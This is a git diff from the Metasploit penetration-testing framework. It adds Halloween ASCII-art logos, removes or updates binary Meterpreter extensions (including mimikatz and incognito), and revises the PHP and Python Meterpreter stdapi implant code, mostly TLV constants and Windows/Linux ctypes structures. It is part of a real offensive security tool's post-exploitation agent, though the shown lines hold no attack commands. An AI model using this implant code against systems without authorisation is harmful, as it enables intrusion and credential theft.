b/data/logos/pumpkin03.hwtxt @@ -0,0 +1,25 @@ + + + @@@ + @@@ + @@@ + @@@ + @@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@ + @@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@ + @@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@ +@@@@@@@@@@ @@@@ @@@@ @@@@@@@@@@ +@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ +@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ + @@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @ @@@@@@@@ + @@@@@@@ @@@@@@@ + @@@@@@ @@ @@ @@ @@ @@ @@ @ @@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@ + diff --git a/data/logos/pumpkin04.hwtxt b/data/logos/pumpkin04.hwtxt new file mode 100644 index 0000000000..81b65f6270 --- /dev/null +++ b/data/logos/pumpkin04.hwtxt @@ -0,0 +1,20 @@ + + __ + | | + | | + ___/____\___ + _- ~ ~ _ + - ~ ~ -_ + - _ + - /\ /\ _ + - / *\ / *\ _ +_ /____\ /____\ _ +_ /\ _ +_ /__\ _ +_ |\ /| _ + - \ `\/\/\/\/\/\/\/\/\/\/' / _ + - \ / - + ~ `\/^\/^\/^\/^\/^\/^\/' ~ + ~ -~ + `--_._._._._._._._._._.._--' + diff --git a/lib/msf/ui/logos/r7-metasploit.txt b/data/logos/r7-metasploit.txt similarity index 100% rename from lib/msf/ui/logos/r7-metasploit.txt rename to data/logos/r7-metasploit.txt diff --git a/data/logos/tricks01.hwtxt b/data/logos/tricks01.hwtxt new file mode 100644 index 0000000000..c959918872 --- /dev/null +++ b/data/logos/tricks01.hwtxt @@ -0,0 +1,35 @@ + + _...----. + .' .-'` + ,''--..; + / | + _______/________|_______ + `-----/// _\ /_ \\\-----` + .---./ / o\/o \ \.---. + <(_ /// \__/\__/ \\\ _)> _.---. + '-. // oo \\ .-' .' .__`\ + o /// __..--..__ \\\ / \`\| + o-'*'-o //| '\/\/\/\/' |\\ / ; ' + \*\|/*/ ;--. """" .-; | _ _ | + .-'---'-. / \|||-....(|||`\ | (o) (o) | + / \ /\ /\|/ | + | .---, |/ \ / ; ' | + | / e e \ | '. .' | '-. \ + \| ^ |/ '---' | \_ + ()._-_.() T R I C K | .._.----/` \ + ,/\'._.'/\. ' . | / ``"-/||\ \ + / \/ \/ \ O R | | `7, + | ^^_____^^ | | . /// _ | + |oOO` `OOo| T R E A T ; |' / |_) _ | + \| '._____.' |/ / \-| |_)/ \ _ | + |:: | '.__ __,; `| \_// \ | + |:: | ````` | | \_/ ; + |:: | | \ / + \::. /_____________| ``'--..___/ + '._______.' '-| | |-' | + |_ | _| | | | __.-; + \ | / /-._|_.-\ \ + \_|_/ /`'-.|.-'`\ / + jgs /--T--\ / .'. \'-..____.---''''`` + (__/ \__) \____/ \___/ + diff --git a/lib/msf/ui/logos/wake-up-neo.txt b/data/logos/wake-up-neo.txt similarity index 100% rename from lib/msf/ui/logos/wake-up-neo.txt rename to data/logos/wake-up-neo.txt diff --git a/lib/msf/ui/logos/workflow.txt b/data/logos/workflow.txt similarity index 100% rename from lib/msf/ui/logos/workflow.txt rename to data/logos/workflow.txt diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib deleted file mode 100755 index 75b5eb755b..0000000000 Binary files a/data/meterpreter/common.lib and /dev/null differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll deleted file mode 100755 index 5d97d4617f..0000000000 Binary files a/data/meterpreter/elevator.x64.dll and /dev/null differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll deleted file mode 100755 index 59b71b8b00..0000000000 Binary files a/data/meterpreter/elevator.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar new file mode 100644 index 0000000000..b6a01cac09 Binary files /dev/null and b/data/meterpreter/ext_server_android.jar differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll deleted file mode 100755 index 2c4f278a4b..0000000000 Binary files a/data/meterpreter/ext_server_espia.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll deleted file mode 100755 index 34e6757142..0000000000 Binary files a/data/meterpreter/ext_server_espia.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll deleted file mode 100755 index 4e3d4728e5..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll deleted file mode 100755 index e297c627c2..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll deleted file mode 100755 index 278e6dd39e..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll deleted file mode 100755 index 732977bfae..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll deleted file mode 100755 index f45475fd86..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll deleted file mode 100755 index 03bebdfe1e..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll deleted file mode 100755 index 1ce9f75e8c..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll deleted file mode 100755 index 4bdc358efe..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index fef0426930..dfc11e7b7d 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll deleted file mode 100755 index 2a69f8e02a..0000000000 Binary files a/data/meterpreter/ext_server_priv.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll deleted file mode 100755 index d16d2f4280..0000000000 Binary files a/data/meterpreter/ext_server_priv.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index a172634dd1..14f9efd376 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll deleted file mode 100755 index 75b7a50a32..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll deleted file mode 100755 index 1b88ab0fcc..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index bef5cee014..ccefb121cf 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index e9e73d42db..3690cf6fbf 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index 20cbc03793..e2565f86d0 100755 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -6,10 +6,10 @@ ## # General ## -define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600); +define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600); define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601); -define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630); -define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631); +define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630); +define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631); ## # Fs @@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2)); define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3)); # Registry -define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000); +define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000); define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY); define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001); define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002); @@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102); define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); # Process -define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000); +define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000); define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001); define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002); define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003); define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004); -define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005); +define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005); define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006); define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); @@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305); define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400); define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401); define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402); -define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403); -define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404); +define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403); +define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404); define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405); define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406); define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500); define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502); define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510); -define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511); -define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512); +define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511); +define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512); define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513); define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540); @@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002); # Event Log ## define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000); -define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001); +define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001); define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002); define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003); diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b6bdccd483..1bd02b02f8 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,4 +1,3 @@ -import ctypes import fnmatch import getpass import os @@ -9,8 +8,15 @@ import socket import struct import subprocess import sys +import time -has_windll = hasattr(ctypes, 'windll') +try: + import ctypes + has_ctypes = True + has_windll = hasattr(ctypes, 'windll') +except ImportError: + has_ctypes = False + has_windll = False try: import pty @@ -24,6 +30,12 @@ try: except ImportError: has_pwd = False +try: + import SystemConfiguration as osxsc + has_osxsc = True +except ImportError: + has_osxsc = False + try: import termios has_termios = True @@ -36,52 +48,223 @@ try: except ImportError: has_winreg = False -class PROCESSENTRY32(ctypes.Structure): - _fields_ = [("dwSize", ctypes.c_uint32), - ("cntUsage", ctypes.c_uint32), - ("th32ProcessID", ctypes.c_uint32), - ("th32DefaultHeapID", ctypes.c_void_p), - ("th32ModuleID", ctypes.c_uint32), - ("cntThreads", ctypes.c_uint32), - ("th32ParentProcessID", ctypes.c_uint32), - ("thPriClassBase", ctypes.c_int32), - ("dwFlags", ctypes.c_uint32), - ("szExeFile", (ctypes.c_char * 260))] +try: + import winreg + has_winreg = True +except ImportError: + has_winreg = (has_winreg or False) -class SYSTEM_INFO(ctypes.Structure): - _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), - ("wReserved", ctypes.c_uint16), - ("dwPageSize", ctypes.c_uint32), - ("lpMinimumApplicationAddress", ctypes.c_void_p), - ("lpMaximumApplicationAddress", ctypes.c_void_p), - ("dwActiveProcessorMask", ctypes.c_uint32), - ("dwNumberOfProcessors", ctypes.c_uint32), - ("dwProcessorType", ctypes.c_uint32), - ("dwAllocationGranularity", ctypes.c_uint32), - ("wProcessorLevel", ctypes.c_uint16), - ("wProcessorRevision", ctypes.c_uint16),] +if sys.version_info[0] < 3: + is_str = lambda obj: issubclass(obj.__class__, str) + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + if isinstance(__builtins__, dict): + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + str = lambda x: __builtins__['str'](x, 'UTF-8') + else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) + str = lambda x: __builtins__.str(x, 'UTF-8') + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + NULL_BYTE = bytes('\x00', 'UTF-8') + long = int -class SID_AND_ATTRIBUTES(ctypes.Structure): - _fields_ = [("Sid", ctypes.c_void_p), - ("Attributes", ctypes.c_uint32),] +if has_ctypes: + # + # Windows Structures + # + class SOCKADDR(ctypes.Structure): + _fields_ = [("sa_family", ctypes.c_ushort), + ("sa_data", (ctypes.c_uint8 * 14))] -## -# STDAPI -## + class SOCKET_ADDRESS(ctypes.Structure): + _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)), + ("iSockaddrLength", ctypes.c_int)] + + class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure): + _fields_ = [ + ("s", type( + '_s_IP_ADAPTER_UNICAST_ADDRESS', + (ctypes.Structure,), + dict(_fields_ = [ + ("Length", ctypes.c_ulong), + ("Flags", ctypes.c_uint32) + ]) + )), + ("Next", ctypes.c_void_p), + ("Address", SOCKET_ADDRESS), + ("PrefixOrigin", ctypes.c_uint32), + ("SuffixOrigin", ctypes.c_uint32), + ("DadState", ctypes.c_uint32), + ("ValidLifetime", ctypes.c_ulong), + ("PreferredLifetime", ctypes.c_ulong), + ("LeaseLifetime", ctypes.c_ulong), + ("OnLinkPrefixLength", ctypes.c_uint8)] + + class IP_ADAPTER_ADDRESSES(ctypes.Structure): + _fields_ = [ + ("u", type( + '_u_IP_ADAPTER_ADDRESSES', + (ctypes.Union,), + dict(_fields_ = [ + ("Alignment", ctypes.c_ulonglong), + ("s", type( + '_s_IP_ADAPTER_ADDRESSES', + (ctypes.Structure,), + dict(_fields_ = [ + ("Length", ctypes.c_ulong), + ("IfIndex", ctypes.c_uint32) + ]) + )) + ]) + )), + ("Next", ctypes.c_void_p), + ("AdapterName", ctypes.c_char_p), + ("FirstUnicastAddress", ctypes.c_void_p), + ("FirstAnycastAddress", ctypes.c_void_p), + ("FirstMulticastAddress", ctypes.c_void_p), + ("FirstDnsServerAddress", ctypes.c_void_p), + ("DnsSuffix", ctypes.c_wchar_p), + ("Description", ctypes.c_wchar_p), + ("FriendlyName", ctypes.c_wchar_p), + ("PhysicalAddress", (ctypes.c_uint8 * 8)), + ("PhysicalAddressLength", ctypes.c_uint32), + ("Flags", ctypes.c_uint32), + ("Mtu", ctypes.c_uint32), + ("IfType", ctypes.c_uint32), + ("OperStatus", ctypes.c_uint32), + ("Ipv6IfIndex", ctypes.c_uint32), + ("ZoneIndices", (ctypes.c_uint32 * 16)), + ("FirstPrefix", ctypes.c_void_p), + ("TransmitLinkSpeed", ctypes.c_uint64), + ("ReceiveLinkSpeed", ctypes.c_uint64), + ("FirstWinsServerAddress", ctypes.c_void_p), + ("FirstGatewayAddress", ctypes.c_void_p), + ("Ipv4Metric", ctypes.c_ulong), + ("Ipv6Metric", ctypes.c_ulong), + ("Luid", ctypes.c_uint64), + ("Dhcpv4Server", SOCKET_ADDRESS), + ("CompartmentId", ctypes.c_uint32), + ("NetworkGuid", (ctypes.c_uint8 * 16)), + ("ConnectionType", ctypes.c_uint32), + ("TunnelType", ctypes.c_uint32), + ("Dhcpv6Server", SOCKET_ADDRESS), + ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)), + ("Dhcpv6ClientDuidLength", ctypes.c_ulong), + ("Dhcpv6Iaid", ctypes.c_ulong), + ("FirstDnsSuffix", ctypes.c_void_p)] + + class MIB_IFROW(ctypes.Structure): + _fields_ = [("wszName", (ctypes.c_wchar * 256)), + ("dwIndex", ctypes.c_uint32), + ("dwType", ctypes.c_uint32), + ("dwMtu", ctypes.c_uint32), + ("dwSpeed", ctypes.c_uint32), + ("dwPhysAddrLen", ctypes.c_uint32), + ("bPhysAddr", (ctypes.c_uint8 * 8)), + ("dwAdminStatus", ctypes.c_uint32), + ("dwOperStaus", ctypes.c_uint32), + ("dwLastChange", ctypes.c_uint32), + ("dwInOctets", ctypes.c_uint32), + ("dwInUcastPkts", ctypes.c_uint32), + ("dwInNUcastPkts", ctypes.c_uint32), + ("dwInDiscards", ctypes.c_uint32), + ("dwInErrors", ctypes.c_uint32), + ("dwInUnknownProtos", ctypes.c_uint32), + ("dwOutOctets", ctypes.c_uint32), + ("dwOutUcastPkts", ctypes.c_uint32), + ("dwOutNUcastPkts", ctypes.c_uint32), + ("dwOutDiscards", ctypes.c_uint32), + ("dwOutErrors", ctypes.c_uint32), + ("dwOutQLen", ctypes.c_uint32), + ("dwDescrLen", ctypes.c_uint32), + ("bDescr", (ctypes.c_char * 256))] + + class MIB_IPADDRROW(ctypes.Structure): + _fields_ = [("dwAddr", ctypes.c_uint32), + ("dwIndex", ctypes.c_uint32), + ("dwMask", ctypes.c_uint32), + ("dwBCastAddr", ctypes.c_uint32), + ("dwReasmSize", ctypes.c_uint32), + ("unused1", ctypes.c_uint16), + ("wType", ctypes.c_uint16)] + + class PROCESSENTRY32(ctypes.Structure): + _fields_ = [("dwSize", ctypes.c_uint32), + ("cntUsage", ctypes.c_uint32), + ("th32ProcessID", ctypes.c_uint32), + ("th32DefaultHeapID", ctypes.c_void_p), + ("th32ModuleID", ctypes.c_uint32), + ("cntThreads", ctypes.c_uint32), + ("th32ParentProcessID", ctypes.c_uint32), + ("thPriClassBase", ctypes.c_int32), + ("dwFlags", ctypes.c_uint32), + ("szExeFile", (ctypes.c_char * 260))] + + class SID_AND_ATTRIBUTES(ctypes.Structure): + _fields_ = [("Sid", ctypes.c_void_p), + ("Attributes", ctypes.c_uint32)] + + class SYSTEM_INFO(ctypes.Structure): + _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), + ("wReserved", ctypes.c_uint16), + ("dwPageSize", ctypes.c_uint32), + ("lpMinimumApplicationAddress", ctypes.c_void_p), + ("lpMaximumApplicationAddress", ctypes.c_void_p), + ("dwActiveProcessorMask", ctypes.c_uint32), + ("dwNumberOfProcessors", ctypes.c_uint32), + ("dwProcessorType", ctypes.c_uint32), + ("dwAllocationGranularity", ctypes.c_uint32), + ("wProcessorLevel", ctypes.c_uint16), + ("wProcessorRevision", ctypes.c_uint16)] + + class TOKEN_USER(ctypes.Structure): + _fields_ = [("User", SID_AND_ATTRIBUTES)] + + # + # Linux Structures + # + class IFADDRMSG(ctypes.Structure): + _fields_ = [("family", ctypes.c_uint8), + ("prefixlen", ctypes.c_uint8), + ("flags", ctypes.c_uint8), + ("scope", ctypes.c_uint8), + ("index", ctypes.c_int32)] + + class IFINFOMSG(ctypes.Structure): + _fields_ = [("family", ctypes.c_uint8), + ("pad", ctypes.c_int8), + ("type", ctypes.c_uint16), + ("index", ctypes.c_int32), + ("flags", ctypes.c_uint32), + ("chagen", ctypes.c_uint32)] + + class NLMSGHDR(ctypes.Structure): + _fields_ = [("len", ctypes.c_uint32), + ("type", ctypes.c_uint16), + ("flags", ctypes.c_uint16), + ("seq", ctypes.c_uint32), + ("pid", ctypes.c_uint32)] + + class RTATTR(ctypes.Structure): + _fields_ = [("len", ctypes.c_uint16), + ("type", ctypes.c_uint16)] # # TLV Meta Types # -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV Specific Types @@ -109,10 +292,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 ## # General ## -TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 ## # Fs @@ -135,16 +318,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 ## TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 +TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402 +TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403 +TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404 TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 +TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424 TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 +TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434 TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 @@ -166,7 +354,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 ## # Registry ## -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 @@ -183,6 +371,7 @@ TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 +TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 ## # Environment @@ -196,12 +385,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0) ## # Process ## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 @@ -217,16 +406,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 @@ -245,7 +434,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 # Event Log ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 @@ -290,9 